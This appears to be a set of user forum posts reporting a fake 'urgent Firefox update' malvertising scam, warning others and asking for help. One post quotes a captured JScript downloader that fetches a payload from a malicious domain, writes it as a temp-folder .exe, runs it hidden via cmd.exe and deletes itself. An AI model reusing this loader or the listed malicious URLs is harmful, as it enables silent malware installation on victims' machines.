This link keeps popping up for the past several days and I just want to advise Firefox about it. Looks very legit and people may be clicking on it as it looks so realistic until you look at the the ailoo...etc.

Starting around the beginning of this month (July) I get prompted once a day or so to update Firefox. Each day is a different link, I know it isn't Firefox actually trying to update. I've seen many other people voicing the same concerns. I've run Malwarebytes and Windows Defender and they haven't found anything. The first time this popped up earlier this month, Windows Defender activated saying it had blocked malware: trojan/kovner if I remember correctly. It doesn't matter what site I'm on, usually just browsing Reddit non external links. Once a day. I took a screenshot of the site of the day (July 13th around 3am) early this morning and will add it to the post.

Strongly desired is a 'verification' of programs loaded vs mozilla copy. This to suppliment 'you are on the latest release.' Reasoning is lately when a web page is replaced by 'update firefox' orange screen and a pop-up of 'opening firefox-patch.exe' which wants to save a binary file. But it is not a FF patch. The result could be malware. Months ago I fell for this ploy, or a similar FLASH update and endured problems (ie, svchost.exe running taking 50% of my CPU all the time.)

Might be caused by a rotating 'ad' related, or that FLASH is blocked, or maybe html5 is running. Unknown. I have other notes. PS windows security essentials finds a trojan KIVTER in my temp file soon thereafter. I don't know where it is stored after that.

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:


url='https://queidwhoreslag.net/10/524.dat';

fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe';
for(var i=1;i<=5;i++)
{

try { c.open('GET', url, false); c.send(null); break; }

    catch(e){

WScript.Sleep(5000); }

}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position=0;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);
a.run('cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}

It would be so helpful if we could create an account to reply to existing threads rather than starting up a new one, but since we can't, I guess I'll have to use this method.

The firefox "urgent update" malware is definitely alive and well. Another company's website where this is being delivered up as a paid advertisement, and the one that I always get redirected to it from, is http://fiostrending.verizon.com/news/

These companies really need to choose a better source for their advertisements, if they insist on forcing them on their customers, if their sites are being hijacked by this malware!

Interestingly enough, the hit-and-run website that I'm being redirected to NEVER shows up in my browsing history.

A big orange page with the Firefox logo interrupts whatever I may be doing to notify me of some urgent update. It is EXTREMELY annoying and may cause problems with the page I'm using. Can the notice please be sent to a new tab instead, or even an email to me about it?

I opened my e-mail (Yahoo webmail) in Firefox, then opened Chrome to play Pandora and opened a VPN connection... when I looked back at Firefox, a new tab had opened with this web site: https://haeranasscom.org/1961165911159/8c6073d96a2cf521e68f99b5891decd8.html which was prompting me to install an 'urgent firefox update'. The web page also had a popup which appeared to indicate that the update had already been downloaded and I just had to install it. The downloads folder has no record of this purported update file, so the whole thing is fishy.

I wanted to quickly post this as a community service, but if there are any suggestions on how to avoid having these kinds of third-party fishing antics appear in Firefox, I'm all ears! This is quite unusual for me to see.
